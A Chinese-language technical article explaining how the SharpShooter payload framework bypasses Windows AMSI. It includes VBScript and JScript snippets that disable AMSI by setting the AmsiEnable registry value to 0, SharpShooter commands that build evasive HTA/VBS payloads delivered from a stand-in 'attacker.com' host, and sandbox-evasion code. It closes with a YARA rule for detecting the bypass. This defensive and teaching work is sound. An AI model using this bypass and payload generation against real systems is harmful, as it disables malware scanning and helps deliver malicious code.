当前位置: 首页 > news >正文

SharpShooter AMSI绕过技术深度解析:如何有效规避Windows防御机制

SharpShooter AMSI绕过技术深度解析:如何有效规避Windows防御机制

【免费下载链接】SharpShooterPayload Generation Framework项目地址: https://gitcode.com/gh_mirrors/sh/SharpShooter

SharpShooter作为一款强大的Payload生成框架,其内置的AMSI绕过技术为安全研究人员和渗透测试人员提供了绕过Windows反恶意软件扫描接口的有效方法。本文将深入解析SharpShooter如何实现AMSI绕过,帮助您理解Windows防御机制的工作原理以及如何在实际测试中应用这些技术。

🔍 AMSI技术概述与工作原理

AMSI(Antimalware Scan Interface)是微软在Windows 10和Windows Server 2016中引入的安全机制,旨在为应用程序提供标准接口来与反恶意软件产品通信。AMSI主要监控脚本执行,包括:

  • PowerShell脚本
  • VBScript/JScript
  • Office宏
  • .NET程序集

当这些脚本运行时,AMSI会拦截执行请求并将其发送给已注册的反恶意软件引擎进行扫描。如果检测到恶意内容,执行将被阻止。

🛡️ SharpShooter的AMSI绕过策略

SharpShooter通过modules/amsikiller.py模块实现了巧妙的AMSI绕过技术。其核心思路是临时修改注册表设置来禁用AMSI检测:

📋 注册表操作原理

# 关键注册表路径 regpath = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable"

AMSI绕过过程分为三个步骤:

  1. 检测当前AMSI状态:读取注册表键值
  2. 临时禁用AMSI:将值设置为0
  3. 重新启用AMSI:执行完成后恢复原值

🔧 技术实现细节

SharpShooter为不同脚本类型提供了相应的绕过代码:

VBScript实现(templates/harness.vbs):

regpath = "HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable" Set oWSS = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8") On Error Resume Next r = oWSS.RegRead(regpath) If Err.Number <> 0 Then oWSS.RegWrite regpath, "0", "REG_DWORD" '执行脚本... oWSS.RegWrite regpath, "1", "REG_DWORD" End If

JavaScript实现(templates/harness.js):

var sh = new ActiveXObject('WScript.Shell'); var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable"; try{ var AmsiEnable = sh.RegRead(key); if(AmsiEnable!=0){ throw new Error(1, ''); } }catch(e){ sh.RegWrite(key, 0, "REG_DWORD"); //执行脚本... sh.RegWrite(key, 1, "REG_DWORD"); }

🚀 实战应用:使用SharpShooter生成带AMSI绕过的Payload

基本命令格式

python SharpShooter.py --payload vbs --amsi amsienable --output malicious --delivery web --web http://attacker.com/payload

完整示例:生成HTA文件

python SharpShooter.py --stageless --dotnetver 4 --payload hta --output test --rawscfile ./shellcode.bin --sandbox 1=CONTOSO --amsi amsienable --smuggle --template mcafee

参数说明

  • --amsi amsienable:启用AMSI绕过功能
  • --sandbox 1=CONTOSO:添加域环境检测
  • --smuggle:使用HTML走私技术
  • --template mcafee:使用McAfee扫描模板伪装

🛠️ 支持的Payload类型

SharpShooter支持多种脚本格式的AMSI绕过:

脚本类型文件扩展名AMSI绕过支持
HTA文件.hta
JavaScript.js
VBScript.vbs
WSF文件.wsf
VBA宏.vba
JScript.jse

🎯 AMSI绕过的局限性与应对策略

已知限制

  1. 用户权限要求:需要当前用户有写入注册表的权限
  2. 进程隔离:只影响当前进程的AMSI状态
  3. 持久性:绕过是临时的,脚本执行后恢复
  4. 检测风险:部分安全产品会监控注册表修改行为

增强绕过效果

结合SharpShooter的其他功能可以增强绕过效果:

1. 沙箱检测集成(CSharpShooter/CheckPlease.cs)

// 检测虚拟机环境 if (containsSandboxArtifacts()) Environment.Exit(1); // 检测调试器 if (isDebugged()) Environment.Exit(1);

2. 多阶段交付

  • 使用Web或DNS分阶段加载Payload
  • 结合RC4加密增强隐蔽性
  • 利用HTML走私技术绕过网络检测

🔐 防御视角:如何检测AMSI绕过

从防御角度,安全团队可以关注以下指标:

监控点

  1. 注册表修改:监控HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable的写入操作
  2. 脚本行为:检测短时间内AMSI状态的频繁切换
  3. 进程行为:监控脚本引擎的异常调用模式

检测规则示例

rule AMSI_Bypass_Registry_Modification { meta: description = "检测AMSI注册表绕过尝试" severity = "high" strings: $regpath = "Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable" $regwrite = "RegWrite" $amsi_disable = "0" ascii condition: any of them }

📊 技术对比:SharpShooter与其他AMSI绕过方法

方法原理持久性检测难度
SharpShooter注册表法修改AMSI启用状态临时中等
内存Patch法修改AMSI DLL内存进程级
反射加载法绕过AMSI扫描接口临时
混淆编码法混淆脚本内容永久

🎓 学习资源与最佳实践

推荐学习路径

  1. 理解AMSI机制:阅读微软官方文档
  2. 实践SharpShooter:在隔离环境中测试
  3. 分析绕过技术:研究modules/amsikiller.py源码
  4. 编写检测规则:基于行为特征创建检测

安全使用建议

合法授权:仅在授权测试中使用 ✅隔离环境:在虚拟机或专用测试环境中运行 ✅记录操作:详细记录所有测试步骤 ✅及时清理:测试完成后清除所有Payload

💡 总结与展望

SharpShooter的AMSI绕过技术展示了注册表操作在绕过Windows安全机制中的有效性。通过临时修改AmsiEnable注册表键值,攻击者可以在脚本执行期间短暂禁用AMSI检测,为Payload执行创造机会窗口。

未来发展趋势

  1. 更隐蔽的绕过技术:无文件、内存驻留技术
  2. 多阶段混淆:结合多种混淆技术
  3. AI对抗:使用机器学习生成难以检测的Payload

通过深入理解SharpShooter的AMSI绕过实现,安全研究人员可以更好地评估Windows防御机制的强度,开发更有效的检测方法,同时红队人员可以在授权测试中更有效地评估目标环境的安全性。

重要提示:本文内容仅供教育和技术研究目的。在实际环境中使用这些技术必须获得明确授权,并遵守相关法律法规。

【免费下载链接】SharpShooterPayload Generation Framework项目地址: https://gitcode.com/gh_mirrors/sh/SharpShooter

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

http://www.jsqmd.com/news/796039/

相关文章:

  • Jenkins Job DSL与Pipeline集成:现代DevOps工作流的10个最佳实践
  • 44.React 里的 Synthetic Events(合成事件)是什么?
  • 3大策略:如何用Inter字体优化方案提升网站性能300%
  • COSMIC Text入门指南:如何在Rust中实现多语言文本渲染
  • OpenClaw赚钱实录:从“养龙虾“到可持续变现的实践指南——OpenClaw一人公司-[一人公司的终极技术栈,从0到变现的完整光谱]
  • 昇腾GE动态AIPP通道最小值设置
  • 2026年西安画册印刷厂深度横评:从源头工厂直达高品质交付的完整指南 - 优质企业观察收录
  • FanControl终极指南:3步搞定Windows风扇智能控制
  • 【信息科学与工程学】【解决方案体系】第三十三篇 直播领域产品及业务模型10 直播与点播系统01
  • CANN/ops-math方差计算算子
  • 如何在3分钟内将Chrome变成强大的Markdown阅读器?markdownReader插件强力指南
  • 11.从0到1构建产品信息模块:一线开发视角的数据库设计全流程拆解
  • 如何用XUnity.AutoTranslator打破语言障碍:Unity游戏翻译终极解决方案
  • 如何优雅地抽离出数据库的共同特点
  • FanControl深度解析:智能散热管理系统的技术实现与最佳实践
  • 定制你的弹窗外观:WYPopoverController主题设置与颜色方案全攻略
  • 2026上海中考复读学校实力排行榜,绿地中复稳居优选前列 - damaigeo
  • docker-maven-plugin 与CI/CD集成:自动化构建和部署的完整流程
  • Xbox存档提取终极指南:3分钟实现跨平台游戏进度迁移
  • 如何用HS2-HF_Patch一键解锁Honey Select 2完整游戏体验
  • GTA5线上小助手:终极免费工具完整使用教程
  • 5分钟修复Windows软件启动故障:VisualCppRedist AIO运行库一站式解决方案
  • 从文件头到解压器:全面解析ZIP/RAR伪加密的识别与破解
  • 泸州全城黄金回收服务白皮书——六大正规品牌资质背景与酒城全域覆盖网络 - 金掌柜黄金回收
  • OpenClaw从入门到应用——工具(Tools):创建技能
  • Java——Integer与二进制算法
  • PagePlug:面向研发的声明式低代码平台完整指南
  • 二楼升降货梯大揭秘!泰州群利起重设备有限公司实力究竟如何?
  • 嵌入式实时系统开发25个致命陷阱与解决方案
  • 2026 深耕俄式展厅:靠谱展厅设计搭建公司实力图鉴 - 资讯焦点